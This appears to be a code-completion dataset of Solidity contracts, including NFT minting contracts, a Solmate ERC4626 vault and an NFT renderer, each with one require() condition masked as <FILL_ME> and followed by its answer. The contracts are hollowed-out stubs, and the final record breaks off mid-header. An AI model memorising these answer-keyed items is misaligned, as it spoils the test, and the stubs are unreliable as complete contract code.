// @@@ @@@@@@@@ .@@@@@@@@ @@@@@@ @@@@@ @@@@@@@@@@@@@@ @@@@@* &@@@@@@@@@@@@ @@
// @@@ @@@@@@@@@ @@@@@@@@@ @@@@@@ @@@@@ @@@@@@@@@@@@@@@@@@ @@@@@* /@@@@@@@@@@@@@@@@@@ @@
// @@@ @@@@@*@@@, @@@@ @@@@@ @@@@@@ @@@@@ @@@@@ @@@@@ @@@@@* @@@@@@, @@@@@@ @@
// @@@ @@@@@ @@@@ @@@@ @@@@@ @@@@@@ @@@@@ @@@@@ @@@@@* @@@@@@ @@@@@@ @@
// @@@ @@@@@ @@@@ @@@@ @@@@@ @@@@@@ @@@@@ %@@@@@@@@@@@ @@@@@* @@@@@ @@
// @@@ @@@@@ @@@@ @@@@ @@@@@ @@@@@@ @@@@@ @@@@@@@@@@@@@@@@ @@@@@* &@@@@@ @@
// @@@ @@@@@ @@@@ @@@@ @@@@@ @@@@@@ @@@@@ @@@@@@@@@@ @@@@@* @@@@@ @@
// @@@ @@@@@ @@@@ ,@@@ @@@@@ @@@@@@ @@@@@ @@@@@@ @@@@@ @@@@@* @@@@@@ @@@@@@ @@
// @@@ @@@@@ @@@@@@@@ @@@@@ @@@@@@@ @@@@@@ @@@@@# ,@@@@@ @@@@@* @@@@@@@ @@@@@@ @@
// @@@ @@@@@ &@@@@@@ @@@@@ /@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@ @@@@@* @@@@@@@@@@@@@@@@@ @@
// @@@ @@@@@ @@@@@@ @@@@@ @@@@@@@@@@@@@ @@@@@@@@@@@@@ @@@@@* @@@@@@@@@@@* @@
// @@@ @@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "erc721a/contracts/ERC721A.sol";
import "erc721a/contracts/extensions/ERC721ABurnable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
contract NiftyMusic721 is ERC721A, ERC721ABurnable, Ownable, PaymentSplitter {
using Strings for uint256;
// The total tokens minted to an address. Does not matter if tokens are transferred out
mapping(address => uint256) public addressMintCount;
mapping(address => bool) public freeMintClaimed;
string public baseTokenURI; // Can be combined with the tokenId to create the metadata URI
uint256 public mintPhase = 0; // 0 = closed, 1 = WL sale, 2 = public sale
bool public allowBurn = false; // Admin toggle for allowing the burning of tokens
uint256 public constant MINT_PRICE = 0.05 ether; // Public mint price
uint256 public constant ALLOWLIST_MINT_PRICE = 0.045 ether; // Mint price for allowlisted addresses only
uint256 public constant MAX_TOTAL_SUPPLY = 2500; // The maximum total supply of tokens
uint256 public constant MAX_MINT_COUNT = 10; // The maximum number of tokens any one address can mint
uint256 public maxWLMintCount = 20; // The maximum number of tokens a whitelisted address can mint
bytes32 public wlRoot; // The merkle tree root. Used for verifying allowlist addresses
bytes32 public freeMintRoot; // Merkle root for free mint list
uint256 private constant MAX_TOKEN_ITERATIONS = 40; // Used to prevent out-of-gas errors when looping
event SetBaseURI(address _from);
event Withdraw(address _from, address _to, uint amount);
event MintPhaseChanged(address _from, uint newPhase);
event ToggleAllowBurn(bool isAllowed);
constructor(string memory _baseUri, bytes32 _WLmerkleroot, bytes32 _freeMintMerkleroot, address[] memory _payees, uint256[] memory _shares) ERC721A("Moonshot", "MOON") PaymentSplitter(_payees, _shares) {
}
// Allows the contract owner to update the merkle root (allowlist)
function setWLMerkleRoot(bytes32 _WLmerkleroot) external onlyOwner {
}
// Allows the contract owner to update the merkle root (free mint list)
function setFreeMintMerkleRoot(bytes32 _freeMintMerkleroot) external onlyOwner {
}
// Allows the contract owner to set a new base URI string
function setBaseURI(string calldata _baseURI) external onlyOwner {
}
// Allows the contract owner to set the wl cap
function setWLCap(uint _newCap) external onlyOwner {
}
// Overrides the tokenURI function so that the base URI can be returned
function tokenURI(uint256 _tokenId) public view override returns (string memory) {
}
function mint(uint256 _amount) external payable {
}
// Only accessible by the contract owner. This function is used to mint tokens for the team.
function ownerMint(uint256 _amount, address _recipient) external onlyOwner {
}
// Minting function for addresses on the allowlist only
function mintAllowList(uint256 _amount, bytes32[] calldata _proof) external payable {
}
// Minting function addresses on the OG list only
function mintFreeMintList(bytes32[] calldata _proof) external {
uint256 supply = totalSupply();
require(!freeMintClaimed[msg.sender], "Free mint already claimed");
require(<FILL_ME>)
require(mintPhase==1, "Sale is not active");
require(supply + 1 <= MAX_TOTAL_SUPPLY, "Max supply is reached");
freeMintClaimed[msg.sender] = true;
// _safeMint's second argument now takes in a quantity, not a tokenId.
_safeMint(msg.sender, 1);
}
// An owner-only function which toggles the public sale on/off
function changeMintPhase(uint256 _newPhase) external onlyOwner {
}
// An owner-only function which toggles the allowBurn variable
function toggleAllowBurn() external onlyOwner {
}
// Used to construct a merkle tree leaf
function _leaf(address _account)
internal pure returns (bytes32)
{
}
// Verifies a leaf is part of the tree
function _verify(bytes32 leaf, bytes32[] memory _proof, bytes32 _root) pure
internal returns (bool)
{
}
// Overrides the ERC721A burn function
function burn(uint256 _tokenId) public virtual override {
}
}
| _verify(_leaf(msg.sender),_proof,freeMintRoot),"Wallet not on free mint list" | 230,426 | _verify(_leaf(msg.sender),_proof,freeMintRoot) |
"Max supply is reached" | // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@ @@@@@@@@@@@@ @@@@@@@@* @@@@@@@@ @@@ @@@@ &@@@@@@@@@@@@ @@@@@
// @@@@@ @@@@@@@@@@@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@ @@@@@@@@@@ @@@@@@
// @@@@@ #@ @@@@@@@@@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@. @@@@@@@ @@@@@@@@
// @@@@@ #@@ @@@@@@@@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@ @@@@ @@@@@@@@@
// @@@@@ #@@@@ @@@@@@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@ & @@@@@@@@@@@
// @@@@@ #@@@@@ @@@@@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@ *@@@@@@@@@@@@
// @@@@@ #@@@@@@@ @@@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@
// @@@@@ #@@@@@@@@@ &@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@
// @@@@@ #@@@@@@@@@@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@
// @@@@@ #@@@@@@@@@@@@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@ @@
// @@@ @@@@@@@@ .@@@@@@@@ @@@@@@ @@@@@ @@@@@@@@@@@@@@ @@@@@* &@@@@@@@@@@@@ @@
// @@@ @@@@@@@@@ @@@@@@@@@ @@@@@@ @@@@@ @@@@@@@@@@@@@@@@@@ @@@@@* /@@@@@@@@@@@@@@@@@@ @@
// @@@ @@@@@*@@@, @@@@ @@@@@ @@@@@@ @@@@@ @@@@@ @@@@@ @@@@@* @@@@@@, @@@@@@ @@
// @@@ @@@@@ @@@@ @@@@ @@@@@ @@@@@@ @@@@@ @@@@@ @@@@@* @@@@@@ @@@@@@ @@
// @@@ @@@@@ @@@@ @@@@ @@@@@ @@@@@@ @@@@@ %@@@@@@@@@@@ @@@@@* @@@@@ @@
// @@@ @@@@@ @@@@ @@@@ @@@@@ @@@@@@ @@@@@ @@@@@@@@@@@@@@@@ @@@@@* &@@@@@ @@
// @@@ @@@@@ @@@@ @@@@ @@@@@ @@@@@@ @@@@@ @@@@@@@@@@ @@@@@* @@@@@ @@
// @@@ @@@@@ @@@@ ,@@@ @@@@@ @@@@@@ @@@@@ @@@@@@ @@@@@ @@@@@* @@@@@@ @@@@@@ @@
// @@@ @@@@@ @@@@@@@@ @@@@@ @@@@@@@ @@@@@@ @@@@@# ,@@@@@ @@@@@* @@@@@@@ @@@@@@ @@
// @@@ @@@@@ &@@@@@@ @@@@@ /@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@ @@@@@* @@@@@@@@@@@@@@@@@ @@
// @@@ @@@@@ @@@@@@ @@@@@ @@@@@@@@@@@@@ @@@@@@@@@@@@@ @@@@@* @@@@@@@@@@@* @@
// @@@ @@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "erc721a/contracts/ERC721A.sol";
import "erc721a/contracts/extensions/ERC721ABurnable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
contract NiftyMusic721 is ERC721A, ERC721ABurnable, Ownable, PaymentSplitter {
using Strings for uint256;
// The total tokens minted to an address. Does not matter if tokens are transferred out
mapping(address => uint256) public addressMintCount;
mapping(address => bool) public freeMintClaimed;
string public baseTokenURI; // Can be combined with the tokenId to create the metadata URI
uint256 public mintPhase = 0; // 0 = closed, 1 = WL sale, 2 = public sale
bool public allowBurn = false; // Admin toggle for allowing the burning of tokens
uint256 public constant MINT_PRICE = 0.05 ether; // Public mint price
uint256 public constant ALLOWLIST_MINT_PRICE = 0.045 ether; // Mint price for allowlisted addresses only
uint256 public constant MAX_TOTAL_SUPPLY = 2500; // The maximum total supply of tokens
uint256 public constant MAX_MINT_COUNT = 10; // The maximum number of tokens any one address can mint
uint256 public maxWLMintCount = 20; // The maximum number of tokens a whitelisted address can mint
bytes32 public wlRoot; // The merkle tree root. Used for verifying allowlist addresses
bytes32 public freeMintRoot; // Merkle root for free mint list
uint256 private constant MAX_TOKEN_ITERATIONS = 40; // Used to prevent out-of-gas errors when looping
event SetBaseURI(address _from);
event Withdraw(address _from, address _to, uint amount);
event MintPhaseChanged(address _from, uint newPhase);
event ToggleAllowBurn(bool isAllowed);
constructor(string memory _baseUri, bytes32 _WLmerkleroot, bytes32 _freeMintMerkleroot, address[] memory _payees, uint256[] memory _shares) ERC721A("Moonshot", "MOON") PaymentSplitter(_payees, _shares) {
}
// Allows the contract owner to update the merkle root (allowlist)
function setWLMerkleRoot(bytes32 _WLmerkleroot) external onlyOwner {
}
// Allows the contract owner to update the merkle root (free mint list)
function setFreeMintMerkleRoot(bytes32 _freeMintMerkleroot) external onlyOwner {
}
// Allows the contract owner to set a new base URI string
function setBaseURI(string calldata _baseURI) external onlyOwner {
}
// Allows the contract owner to set the wl cap
function setWLCap(uint _newCap) external onlyOwner {
}
// Overrides the tokenURI function so that the base URI can be returned
function tokenURI(uint256 _tokenId) public view override returns (string memory) {
}
function mint(uint256 _amount) external payable {
}
// Only accessible by the contract owner. This function is used to mint tokens for the team.
function ownerMint(uint256 _amount, address _recipient) external onlyOwner {
}
// Minting function for addresses on the allowlist only
function mintAllowList(uint256 _amount, bytes32[] calldata _proof) external payable {
}
// Minting function addresses on the OG list only
function mintFreeMintList(bytes32[] calldata _proof) external {
uint256 supply = totalSupply();
require(!freeMintClaimed[msg.sender], "Free mint already claimed");
require(_verify(_leaf(msg.sender), _proof, freeMintRoot), "Wallet not on free mint list");
require(mintPhase==1, "Sale is not active");
require(<FILL_ME>)
freeMintClaimed[msg.sender] = true;
// _safeMint's second argument now takes in a quantity, not a tokenId.
_safeMint(msg.sender, 1);
}
// An owner-only function which toggles the public sale on/off
function changeMintPhase(uint256 _newPhase) external onlyOwner {
}
// An owner-only function which toggles the allowBurn variable
function toggleAllowBurn() external onlyOwner {
}
// Used to construct a merkle tree leaf
function _leaf(address _account)
internal pure returns (bytes32)
{
}
// Verifies a leaf is part of the tree
function _verify(bytes32 leaf, bytes32[] memory _proof, bytes32 _root) pure
internal returns (bool)
{
}
// Overrides the ERC721A burn function
function burn(uint256 _tokenId) public virtual override {
}
}
| supply+1<=MAX_TOTAL_SUPPLY,"Max supply is reached" | 230,426 | supply+1<=MAX_TOTAL_SUPPLY |
"ZERO_SHARES" | // SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
import {ERC20} from "../tokens/ERC20.sol";
import {SafeTransferLib} from "../utils/SafeTransferLib.sol";
import {FixedPointMathLib} from "../utils/FixedPointMathLib.sol";
/// @notice Minimal ERC4626 tokenized Vault implementation.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/mixins/ERC4626.sol)
abstract contract ERC4626 is ERC20 {
using SafeTransferLib for ERC20;
using FixedPointMathLib for uint256;
/*//////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
event Deposit(address indexed caller, address indexed owner, uint256 assets, uint256 shares);
event Withdraw(
address indexed caller,
address indexed receiver,
address indexed owner,
uint256 assets,
uint256 shares
);
/*//////////////////////////////////////////////////////////////
IMMUTABLES
//////////////////////////////////////////////////////////////*/
ERC20 public immutable asset;
constructor(
ERC20 _asset,
string memory _name,
string memory _symbol
) ERC20(_name, _symbol, _asset.decimals()) {
}
/*//////////////////////////////////////////////////////////////
DEPOSIT/WITHDRAWAL LOGIC
//////////////////////////////////////////////////////////////*/
function deposit(uint256 assets, address receiver) public virtual returns (uint256 shares) {
// Check for rounding error since we round down in previewDeposit.
require(<FILL_ME>)
// Need to transfer before minting or ERC777s could reenter.
asset.safeTransferFrom(msg.sender, address(this), assets);
_mint(receiver, shares);
emit Deposit(msg.sender, receiver, assets, shares);
afterDeposit(assets, shares);
}
function mint(uint256 shares, address receiver) public virtual returns (uint256 assets) {
}
function withdraw(
uint256 assets,
address receiver,
address owner
) public virtual returns (uint256 shares) {
}
function redeem(
uint256 shares,
address receiver,
address owner
) public virtual returns (uint256 assets) {
}
/*//////////////////////////////////////////////////////////////
ACCOUNTING LOGIC
//////////////////////////////////////////////////////////////*/
function totalAssets() public view virtual returns (uint256);
function convertToShares(uint256 assets) public view virtual returns (uint256) {
}
function convertToAssets(uint256 shares) public view virtual returns (uint256) {
}
function previewDeposit(uint256 assets) public view virtual returns (uint256) {
}
function previewMint(uint256 shares) public view virtual returns (uint256) {
}
function previewWithdraw(uint256 assets) public view virtual returns (uint256) {
}
function previewRedeem(uint256 shares) public view virtual returns (uint256) {
}
/*//////////////////////////////////////////////////////////////
DEPOSIT/WITHDRAWAL LIMIT LOGIC
//////////////////////////////////////////////////////////////*/
function maxDeposit(address) public view virtual returns (uint256) {
}
function maxMint(address) public view virtual returns (uint256) {
}
function maxWithdraw(address owner) public view virtual returns (uint256) {
}
function maxRedeem(address owner) public view virtual returns (uint256) {
}
/*//////////////////////////////////////////////////////////////
INTERNAL HOOKS LOGIC
//////////////////////////////////////////////////////////////*/
function beforeWithdraw(uint256 assets, uint256 shares) internal virtual {}
function afterDeposit(uint256 assets, uint256 shares) internal virtual {}
}
| (shares=previewDeposit(assets))!=0,"ZERO_SHARES" | 230,448 | (shares=previewDeposit(assets))!=0 |
"ZERO_ASSETS" | // SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
import {ERC20} from "../tokens/ERC20.sol";
import {SafeTransferLib} from "../utils/SafeTransferLib.sol";
import {FixedPointMathLib} from "../utils/FixedPointMathLib.sol";
/// @notice Minimal ERC4626 tokenized Vault implementation.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/mixins/ERC4626.sol)
abstract contract ERC4626 is ERC20 {
using SafeTransferLib for ERC20;
using FixedPointMathLib for uint256;
/*//////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
event Deposit(address indexed caller, address indexed owner, uint256 assets, uint256 shares);
event Withdraw(
address indexed caller,
address indexed receiver,
address indexed owner,
uint256 assets,
uint256 shares
);
/*//////////////////////////////////////////////////////////////
IMMUTABLES
//////////////////////////////////////////////////////////////*/
ERC20 public immutable asset;
constructor(
ERC20 _asset,
string memory _name,
string memory _symbol
) ERC20(_name, _symbol, _asset.decimals()) {
}
/*//////////////////////////////////////////////////////////////
DEPOSIT/WITHDRAWAL LOGIC
//////////////////////////////////////////////////////////////*/
function deposit(uint256 assets, address receiver) public virtual returns (uint256 shares) {
}
function mint(uint256 shares, address receiver) public virtual returns (uint256 assets) {
}
function withdraw(
uint256 assets,
address receiver,
address owner
) public virtual returns (uint256 shares) {
}
function redeem(
uint256 shares,
address receiver,
address owner
) public virtual returns (uint256 assets) {
if (msg.sender != owner) {
uint256 allowed = allowance[owner][msg.sender]; // Saves gas for limited approvals.
if (allowed != type(uint256).max) allowance[owner][msg.sender] = allowed - shares;
}
// Check for rounding error since we round down in previewRedeem.
require(<FILL_ME>)
beforeWithdraw(assets, shares);
_burn(owner, shares);
emit Withdraw(msg.sender, receiver, owner, assets, shares);
asset.safeTransfer(receiver, assets);
}
/*//////////////////////////////////////////////////////////////
ACCOUNTING LOGIC
//////////////////////////////////////////////////////////////*/
function totalAssets() public view virtual returns (uint256);
function convertToShares(uint256 assets) public view virtual returns (uint256) {
}
function convertToAssets(uint256 shares) public view virtual returns (uint256) {
}
function previewDeposit(uint256 assets) public view virtual returns (uint256) {
}
function previewMint(uint256 shares) public view virtual returns (uint256) {
}
function previewWithdraw(uint256 assets) public view virtual returns (uint256) {
}
function previewRedeem(uint256 shares) public view virtual returns (uint256) {
}
/*//////////////////////////////////////////////////////////////
DEPOSIT/WITHDRAWAL LIMIT LOGIC
//////////////////////////////////////////////////////////////*/
function maxDeposit(address) public view virtual returns (uint256) {
}
function maxMint(address) public view virtual returns (uint256) {
}
function maxWithdraw(address owner) public view virtual returns (uint256) {
}
function maxRedeem(address owner) public view virtual returns (uint256) {
}
/*//////////////////////////////////////////////////////////////
INTERNAL HOOKS LOGIC
//////////////////////////////////////////////////////////////*/
function beforeWithdraw(uint256 assets, uint256 shares) internal virtual {}
function afterDeposit(uint256 assets, uint256 shares) internal virtual {}
}
| (assets=previewRedeem(shares))!=0,"ZERO_ASSETS" | 230,448 | (assets=previewRedeem(shares))!=0 |
"Not token owner" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/introspection/ERC165.sol";
import { LibBitmap} from "solady/src/utils/LibBitmap.sol";
import "./IRebelsRenderer.sol";
contract OptimizedNightModeSelectorURIRenderer is IRebelsRenderer, ERC165 {
using LibBitmap for LibBitmap.Bitmap;
string public baseURI;
IERC721 public rebelsNFT;
// Bit mapping to store night mode status for each token
LibBitmap.Bitmap nightModeEnabled;
constructor(string memory baseURI_, address nftAddress) {
}
function tokenURI(uint256 id) external view override returns (string memory) {
}
function beforeTokenTransfer(
address from,
address to,
uint256 id
) external pure override {}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC165, IERC165)
returns (bool)
{
}
// Function for token owners to enable night mode
function setNightMode(uint256 id) external {
require(<FILL_ME>)
nightModeEnabled.set(id);
}
// Function for token owners to disable night mode
function unsetNightMode(uint256 id) external {
}
// Function to check night mode status for a specific token
function getNightMode(uint256 id) public view returns (bool) {
}
}
| rebelsNFT.ownerOf(id)==msg.sender,"Not token owner" | 230,525 | rebelsNFT.ownerOf(id)==msg.sender |
"I'm sorry we reached the cap" | //MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
//MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
//MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
//MMMMMMMMMWXKXWMMMMMMMMWXXWMMMMMMN0KWMMMMMMMWXOkxk0XWMMMMMWNNMMMMMMWK0XWMMMMMMNK00KXWMMMMMMMMMMMMMMMNKOkk0XWMMMMMNKXWMMMWXK0OOOOOkkkkKWMNOdlldOXMMMMMMM
//MMMMMMMMKc..'lKMMMMMMXc..lXMMMWk,..oNMMMMXx;. .:xXMMKc.,xNMMMMO'.;KMMNOdc'.. ..,lKMMMMMMMMMMWKo,. ..:0MMNx'..;kNMO,.. .:KO; .. ,kWMMMMM
//MMMMMMMX: ,0MMMMWo cXMWx. .kMMMK: 'lxkxl' ;0Wx. ;OWMMx. .OM0: .:odl:,:OMMMMMMMMMNd. ;dkxl:c0MWx. .oNXkddo' 'dkkOKK; ;O0xloKMMMMMM
//MMMMMMWo. .dc ,0MMM0' lXx. .. ;KMNc ,0WMMMMK; cXd. .lKWx. .O0, .:0NKOkkxxOXMMMMMMMWx. .dNMMMMWWMM0, cd. .oNMMMNc :XMMMMXc 'lxOXWMMMMMMM
//MMMMMM0' ,xl. :XMWo 'c. .'. .ok' lN0' oWMMMMMWl ,Kd .o: .dl. 'Ox. .:OWk' lNMMMMMMNc ;XMMMMMMMMWo .lx, .kWMMNc :XMMMMMXd,.. .lKMMMMMM
//MMMMMWo .dWK, lNx. lNWx. .kX: ,0WMMMWk. oNo ,KNx' ,K0, .:KXOxxo. :NMMMMMMWo 'OWMMMMMMM0, ;KMMNl ;XMMMMWX0KK0x' cNMMMMM
//MMMMMX; ;xkOOc. .kd. .OMNo. :XMMNc ;KK: .cdxo;. .lXWo ;XMMXl. ;KWO, .:odo; .kWMMMMMMMXc. .cxkxdlo0d. .okOOx' cNMWo ,KMMMMK:.'okd' cNMMMMM
//MMMMMK; 'OMMMMXl..ol..lNMMNkldXMMMM0,.,OMNk:.. ..'lOWMWd. lNMMMWO;..lNMMXxoc,.....,oKWMMMMMMMMMNk:.. .;kd..lNMMMWk,.:KMMk'.cXMMMMNx,. .'oXMMMMMM
//MMMMMWXOKWMMMMMWKKNXOONMMMMMMMMMMMMMX0KWMMMWX0OO0KNWMMMMN0OXMMMMMMN00NMMMMMMMNX000KNMMMMMMMMMMMMMMWX0OkkOKNMN00NMMMMMWXKXWMMWXKNMMMMMMMNKkxk0NMMMMMMMM
//MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
//MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
//MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
pragma solidity ^0.8.4;
contract AmongCats is ERC721, Pausable, Ownable, ERC721Enumerable, ERC721URIStorage {
using Counters for Counters.Counter;
Counters.Counter private _tokenIdCounter;
uint256 MAX_SUPPLY = 9999; // Max supply is 9999
uint256 ownerAmount = 999; // Saving 999 for the owner
// mapping (address => bool) whitelisters;
function pause() public onlyOwner {
}
function unpause() public onlyOwner {
}
constructor() ERC721("Among Cats", "CREW") {
}
function _baseURI() internal pure override returns (string memory) {
}
function safeMint(address to, string memory uri) public whenNotPaused{
require(<FILL_ME>) // Check owner reserve
require(balanceOf(msg.sender) == 0, "Max Mint per wallet reached"); // Check mint limit
uint256 tokenId = _tokenIdCounter.current();
_tokenIdCounter.increment();
_safeMint(to, tokenId);
_setTokenURI(tokenId, uri);
}
function mintOwner(address to, string memory uri) public onlyOwner{
}
// function addToWhitelist(address _ad) external onlyOwner {
// whitelisters[_ad] = true;
// }
// The following functions are overrides required by Solidity.
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
override(ERC721, ERC721Enumerable)
{
}
function _burn(uint256 tokenId) internal override(ERC721, ERC721URIStorage) {
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721, ERC721URIStorage)
returns (string memory)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
}
}
| _tokenIdCounter.current()<=(MAX_SUPPLY-ownerAmount),"I'm sorry we reached the cap" | 230,836 | _tokenIdCounter.current()<=(MAX_SUPPLY-ownerAmount) |
"I'm sorry we reached the cap" | //MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
//MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
//MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
//MMMMMMMMMWXKXWMMMMMMMMWXXWMMMMMMN0KWMMMMMMMWXOkxk0XWMMMMMWNNMMMMMMWK0XWMMMMMMNK00KXWMMMMMMMMMMMMMMMNKOkk0XWMMMMMNKXWMMMWXK0OOOOOkkkkKWMNOdlldOXMMMMMMM
//MMMMMMMMKc..'lKMMMMMMXc..lXMMMWk,..oNMMMMXx;. .:xXMMKc.,xNMMMMO'.;KMMNOdc'.. ..,lKMMMMMMMMMMWKo,. ..:0MMNx'..;kNMO,.. .:KO; .. ,kWMMMMM
//MMMMMMMX: ,0MMMMWo cXMWx. .kMMMK: 'lxkxl' ;0Wx. ;OWMMx. .OM0: .:odl:,:OMMMMMMMMMNd. ;dkxl:c0MWx. .oNXkddo' 'dkkOKK; ;O0xloKMMMMMM
//MMMMMMWo. .dc ,0MMM0' lXx. .. ;KMNc ,0WMMMMK; cXd. .lKWx. .O0, .:0NKOkkxxOXMMMMMMMWx. .dNMMMMWWMM0, cd. .oNMMMNc :XMMMMXc 'lxOXWMMMMMMM
//MMMMMM0' ,xl. :XMWo 'c. .'. .ok' lN0' oWMMMMMWl ,Kd .o: .dl. 'Ox. .:OWk' lNMMMMMMNc ;XMMMMMMMMWo .lx, .kWMMNc :XMMMMMXd,.. .lKMMMMMM
//MMMMMWo .dWK, lNx. lNWx. .kX: ,0WMMMWk. oNo ,KNx' ,K0, .:KXOxxo. :NMMMMMMWo 'OWMMMMMMM0, ;KMMNl ;XMMMMWX0KK0x' cNMMMMM
//MMMMMX; ;xkOOc. .kd. .OMNo. :XMMNc ;KK: .cdxo;. .lXWo ;XMMXl. ;KWO, .:odo; .kWMMMMMMMXc. .cxkxdlo0d. .okOOx' cNMWo ,KMMMMK:.'okd' cNMMMMM
//MMMMMK; 'OMMMMXl..ol..lNMMNkldXMMMM0,.,OMNk:.. ..'lOWMWd. lNMMMWO;..lNMMXxoc,.....,oKWMMMMMMMMMNk:.. .;kd..lNMMMWk,.:KMMk'.cXMMMMNx,. .'oXMMMMMM
